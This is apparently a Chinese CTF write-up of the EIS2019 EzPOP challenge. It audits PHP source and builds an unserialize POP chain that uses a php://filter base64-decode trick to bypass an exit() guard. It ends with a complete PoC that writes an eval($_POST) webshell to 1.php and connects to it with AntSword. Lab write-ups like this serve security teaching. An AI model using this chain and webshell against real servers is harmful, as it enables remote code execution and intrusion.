EIS2019-EzPOP

  1. EIS2019-EzPOP
    1. class B
    2. 死亡exit()
    3. class A
    4. 构造payload
    5. pop链构造

EIS2019-EzPOP

参考博客:https://blog.csdn.net/Xxy605/article/details/120641208

打开网页一片空白,发现简介里有源码。

翻到最下面有一个

1
2
3
4
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

我们只要get传一个src即可看到源码

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php
// 关闭所有错误报告,避免在页面上显示错误信息
error_reporting(0);

/**
* 类 A:用于处理缓存内容的管理和存储
*/
class A {

// 存储缓存数据的对象
protected $store;
// 缓存的键名
protected $key;
// 缓存的过期时间
protected $expire;

/**
* 构造函数,初始化类的属性
*
* @param object $store 存储缓存数据的对象
* @param string $key 缓存的键名,默认为 'flysystem'
* @param mixed $expire 缓存的过期时间,默认为 null
*/
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

/**
* 清理缓存内容,只保留指定的属性
*
* @param array $contents 缓存内容数组
* @return array 清理后的缓存内容数组
*/
public function cleanContents(array $contents) {
// 定义需要保留的属性数组,并将其键值反转,方便后续使用
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

// 遍历缓存内容数组
foreach ($contents as $path => $object) {
// 如果当前元素是数组
if (is_array($object)) {
// 只保留指定属性的键值对
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

/**
* 获取用于存储的缓存内容
*
* @return string 经过清理和 JSON 编码后的缓存内容
*/
public function getForStorage() {
// 清理缓存内容
$cleaned = $this->cleanContents($this->cache);

// 将清理后的内容和其他信息进行 JSON 编码
return json_encode([$cleaned, $this->complete]);
}

/**
* 保存缓存内容到存储对象
*/
public function save() {
// 获取用于存储的缓存内容
$contents = $this->getForStorage();

// 调用存储对象的 set 方法保存缓存内容
$this->store->set($this->key, $contents, $this->expire);
}

/**
* 析构函数,在对象销毁时自动调用
*/
public function __destruct() {
// 如果 autosave 属性为 false
if (!$this->autosave) {
// 保存缓存内容
$this->save();
}
}
}

/**
* 类 B:用于处理缓存的设置和文件存储
*/
class B {

/**
* 获取过期时间,将其转换为整数
*
* @param mixed $expire 过期时间
* @return int 转换后的过期时间
*/
protected function getExpireTime($expire): int {
return (int) $expire;
}

/**
* 获取缓存的键名,添加前缀
*
* @param string $name 原始键名
* @return string 添加前缀后的键名
*/
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

/**
* 序列化数据
*
* @param mixed $data 要序列化的数据
* @return string 序列化后的数据
*/
protected function serialize($data): string {
// 如果数据是数字类型
if (is_numeric($data)) {
// 将其转换为字符串
return (string) $data;
}

// 获取序列化方法
$serialize = $this->options['serialize'];

// 调用序列化方法进行序列化
return $serialize($data);
}

/**
* 设置缓存
*
* @param string $name 缓存的键名
* @param mixed $value 缓存的值
* @param mixed $expire 缓存的过期时间,默认为 null
* @return bool 设置是否成功
*/
public function set($name, $value, $expire = null): bool{
// 记录写入次数
$this->writeTimes++;

// 如果过期时间为 null
if (is_null($expire)) {
// 使用默认的过期时间
$expire = $this->options['expire'];
}

// 获取过期时间
$expire = $this->getExpireTime($expire);
// 获取缓存的键名
$filename = $this->getCacheKey($name);

// 获取缓存文件所在的目录
$dir = dirname($filename);

// 如果目录不存在
if (!is_dir($dir)) {
try {
// 创建目录,权限为 0755,允许递归创建
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 处理创建目录失败的情况
// 创建失败
}
}

// 序列化数据
$data = $this->serialize($value);

// 如果开启了数据压缩且 gzcompress 函数存在
if ($this->options['data_compress'] && function_exists('gzcompress')) {
// 对数据进行压缩
$data = gzcompress($data, 3);
}

// 在数据前添加过期时间和退出语句
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
// 将数据写入文件
$result = file_put_contents($filename, $data);

// 如果写入成功
if ($result) {
return true;
}

return false;
}

}

// 如果 GET 请求中包含 src 参数
if (isset($_GET['src']))
{
// 高亮显示当前文件的源代码
highlight_file(__FILE__);
}

// 定义上传目录
$dir = "uploads/";

// 如果上传目录不存在
if (!is_dir($dir))
{
// 创建上传目录
mkdir($dir);
}

// 对 GET 请求中的 data 参数进行反序列化操作
unserialize($_GET["data"]);

class B

base64 + filter协议绕过死亡exit

B类里有一个file_put_contents函数可以利用写入shell,位于B::set()

1
$result = file_put_contents($filename, $data);

溯源$filename

1
$filename = $this->getCacheKey($name);

接着去溯源B::getCachekey()

1
2
3
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

这里的$options是一个数组,可以控制,$name也是一个可以控制的变量,所以文件名和前缀都是可以控制的,并且这个$name来自于B::set()的传入参数


再看看$data

1
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

这里的命令是拼接在exit()之后的,如果写入的话我们命令永远无法执行,叫做死亡exit()。

死亡exit()

引用大佬文章:

谈一谈php://filter的妙用@PHITHON

简而言之就是将命令先base64,拼接到exit()之后,再用filter协议base64解码写入。这里的sprintf是12位数字,传入的$expire=0即可。由于解码自动跳过非法字符,这样死亡exit()就会只剩下base64密文php//000000000000exit还有后面的命令,同时由于base64是每4字符一组,所以后面$data要补三个可见字符凑够12字符,这样传入的base64密文如下,再经过一次base64后就是php命令了

1
php//000000000000exit(待执行命令的base64)

刚好file_put_contents支持解析伪协议:那么B::$options[‘prefix’]赋值为php://filter/write=convert.base64-decode/resource=,传入B::set()的参数$expire赋值为任意不超过12位数字,先去追一下$expire的来源

1
$expire = $this->getExpireTime($expire);

溯源到B::getExpireTime()

1
2
3
protected function getExpireTime($expire): int {
return (int) $expire;
}

然后有个赋值判断

1
2
3
if (is_null($expire)) {
$expire = $this->options['expire'];
}

然后$expire来源于set传参

1
public function set($name, $value, $expire = null): bool

所以$expire可以来自传参也可以是B::$options[‘expire’]


继续在追一下$data,发现上面有一个数据压缩的函数,因为要绕过exit(),这里不能让其被压缩,所以我们需要把options[‘data_compress’]赋值为false

1
2
3
4
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

再往上找$data的来源,找到B::serialize($value)

1
$data = $this->serialize($value)

$value来自B::set()的传参,是在B类自己定义的,这里可控。

这里还有传入一个函数方法,

1
2
3
4
5
6
7
8
9
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

关于B::serialize()的说明
这一步serialize是一次多余的操作,我们的目标就是要经过这个函数处理,但是返回的内容不变,可以选择编码(传入base64,再此解码)、或者是去除传入命令两侧的空白字符(rtrim)等,啥都不干就行,payload默认选择进行一次base64解码

class A

首先是析构函数

1
2
3
4
5
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}

所以要进入save函数,首先要使A::$autosave赋值为0,save函数调用了set函数

1
2
3
4
5
public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

这里只要使A::$store赋值为new B(),就能成功调用B::set(),然后这里的$key就是写入的文件名,$contents就是写入的内容。

再溯源$contents。

1
2
3
4
5
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

这里的$cleaned来源于$A::cache,是一个空数组;写入内容又来源于A::$complete

构造payload

经过一次B::serialize(),这里我们进行一次多余的操作也就是base64_decode,因此A::$complete需要一次base64_encode()

然后就是绕过死亡exit(),之前说了要凑3个多余字符,然后之后就是执行命令的base64编码

1
A::$complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>'));

pop链构造

1
A::__destruct()->A::cleanContents()->A::getForStorage()->A::save()->B::serialize()->B::getCacheKey()->B::getExpireTime()->B::set()->file_put_contents()

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

class A{
protected $key;
protected $store;
protected $expire;

public function __construct(){
// 进入A::save()
$this->autosave = 0;
// B::set()入口
$this->store = new B();
// 初始赋值
$this->cache = array();
// 写入webshell的文件名
$this->key = '1.php';
// payload
$this->complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>'));
}
}


class B{
public $options;
public function __construct(){
$this->options = array();
// 绕过死亡exit使用filter伪协议
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
// 跳过数据压缩
$this->options['data_compress'] = 0;
// 什么都不做的函数,这里执行一次base64解码
$this->options['serialize'] = 'base64_decode';
// 补齐sprintf
$this->options['expire'] = 0;
}
}


echo urlencode(serialize(new A()));

然后蚁剑连接

1
http://d7677f7f-9ff5-4b54-85c7-18de6a27f3c9.node5.buuoj.cn:81/1.php

即可拿到flag


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github